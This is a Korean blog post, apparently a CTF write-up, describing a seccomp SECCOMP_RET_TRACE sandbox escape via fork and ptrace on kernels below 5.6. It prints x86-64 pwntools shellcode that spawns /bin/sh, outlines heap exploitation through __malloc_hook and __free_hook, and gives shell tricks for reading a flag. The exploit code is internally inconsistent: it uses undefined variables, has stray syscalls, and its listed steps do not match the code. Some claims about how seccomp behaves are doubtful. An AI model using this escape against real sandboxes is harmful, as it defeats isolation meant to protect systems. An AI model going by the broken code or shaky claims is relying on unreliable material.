커널 5.6 이하에서의 Seccomp BPF TRACE 기반 샌드박스 탈출 기법

서론

최근 공격자들이 제시한 특정 문제 해결 과정에서, 고전적인 openat2 시스템 호출을 통한 탈출 방식이 리모트 환경에서는 실패하는 현상을 발견했다. 원인은 커널 버전이 5.4로, openat2가 도입된 5.6 미만이기 때문이었다. 이에 따라 새로운 접근 방식이 필요하게 되었고, 이를 통해 상당히 독특한 세큐컴프 필터 동작 메커니즘을 활용한 탈출 기법을 발견할 수 있었다.

문제 분석: 왜 openat2는 작동하지 않는가?

openat2는 커널 5.6부터 추가된 시스템 호출이며, 그 전 버전에서는 존재하지 않는다. 따라서 커널 5.4 환경에서는 해당 시스템 호출 자체가 불가능해지며, 기존의 편리한 경로를 통한 탈출은 불가능하다.

핵심 포인트: SECCOMP_RET_TRACE의 취약성

이번 문제에서 사용된 세큐컴프 정책은 일반적인 KILL 또는 TRAP가 아닌, TRACE를 반환하도록 설정되어 있다. 이는 내부적으로 다음과 같은 동작을 유도한다:

  • 시스템 호출이 발생하면, 커널은 ptrace() 기반의 트레이서에게 알림을 전달하려 한다.
  • 트레이서가 등록되어 있지 않으면, 시스템 호출은 무시되고 -ENOSYS 오류가 반환된다.
  • 트레이서가 PTRACE_O_TRACESECCOMP 옵션으로 등록되어 있으면, PTRACE_EVENT_SECCOMP 이벤트를 수신하며, SECCOMP_RET_DATA 정보를 통해 현재 시스템 호출의 상세를 확인할 수 있다.
  • 이 시점에서 트레이서는 시스템 호출 번호를 변경하거나, 시스템 호출을 건너뛰도록 할 수 있으며, 이후 시스템 호출은 다시 실행되지만, 더 이상 세큐컴프 검사가 수행되지 않는다.

공격 기법: ptrace 기반 트레이서 생성 및 조작

이 구조를 이용하기 위해선 다음과 같은 단계를 거친다:

  1. 자식 프로세스를 fork()하여 생성하고, ptrace(PTRACE_TRACEME)로 자신을 추적 대상으로 설정한다.
  2. 부모 프로세스는 ptrace(PTRACE_ATTACH, child_pid)로 자식을 연결한다.
  3. 부모는 wait4()를 통해 자식이 시스템 호출을 시도할 때까지 대기한다.
  4. 자식이 중단되면, 부모는 ptrace(PTRACE_SETOPTIONS, PTRACE_O_TRACESECCOMP)를 통해 보안 이벤트 감시를 활성화한다.
  5. 이후 PTRACE_CONT를 호출하여 자식의 시스템 호출을 재개하고, 트레이서가 요청한 시스템 호출(예: execve("/bin/sh"))을 실행할 수 있도록 한다.

실제 악용 코드 (쉘코드)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 시스템 호출 번호
SYS_fork = 57
SYS_ptrace = 101
SYS_wait4 = 61
SYS_execve = 59

# 패킷 구성
shellcode = asm(f"""
_start:
    # Step 1: fork a new process
    mov rax, {SYS_fork}
    syscall

    test rax, rax
    js _exit

    # Check if parent or child
    cmp rax, 0
    je child_process

parent_process:
    mov r8, rax           # save child PID

    mov rdi, r8
    mov rax, {SYS_ptrace}
    mov rsi, 0x10         # PTRACE_ATTACH
    xor rdx, rdx
    xor r10, r10
    syscall

monitor_child:
    mov rdi, r8
    mov rsi, rsp
    xor rdx, rdx
    xor r10, r10
    mov rax, {SYS_wait4}
    syscall

    # Set options to trace seccomp events
    mov rax, 110
    syscall
    mov rdi, 0x4200       # PTRACE_SETOPTIONS
    mov rsi, r8
    xor rdx, rdx
    mov r10, 0x80         # PTRACE_O_TRACESECCOMP
    mov rax, {SYS_ptrace}
    syscall

    # Continue execution
    mov rax, 110
    syscall
    mov rdi, 0x7          # PTRACE_CONT
    mov rsi, r8
    xor rdx, rdx
    xor r10, r10
    mov rax, {SYS_ptrace}
    syscall

    jmp monitor_child

child_process:
    # Sleep to stabilize execution
    push 1
    dec byte ptr [rsp]
    push 5
    mov rdi, rsp
    xor esi, esi
    push {0x23}           # SYS_nanosleep
    pop rax
    syscall

    # Prepare /bin/sh string
    mov rax, 0x{order2}
    push rax
    mov rax, 0x{order1}
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, {SYS_execve}
    syscall

    jmp child_process

_exit:
    mov rax, 60
    xor rdi, rdi
    syscall
""", arch='amd64')

완전한 Exploit 구현 요소

이 기법은 레이어링된 메모리 오버플로우와 함께 사용되며, 주로 _IO_FILE 구조체를 조작하여 malloc_hook를 덮어쓰고, __free_hook__malloc_hook를 통한 스택 조작을 진행한다. 이후 mprotect를 사용해 메모리 영역을 쓰기 가능하게 하고, read를 통해 쉘코드를 로드한 후, 위의 fork + ptrace 메커니즘을 통해 execve를 실행한다.

대체 명령어 사용 (sandbox 내부 제약)

여전히 open()이나 cat, ls 등의 명령어가 금지된 경우, 다음 대체 방법을 사용할 수 있다:

# ls 대체
echo *

# cat flag 대체
while IFS= read -r line; do
    echo "$line"
done < flag

태그: seccomp ptrace kernel-exploit sandbox-escape x86_64

6월 13일 17:48에 게시됨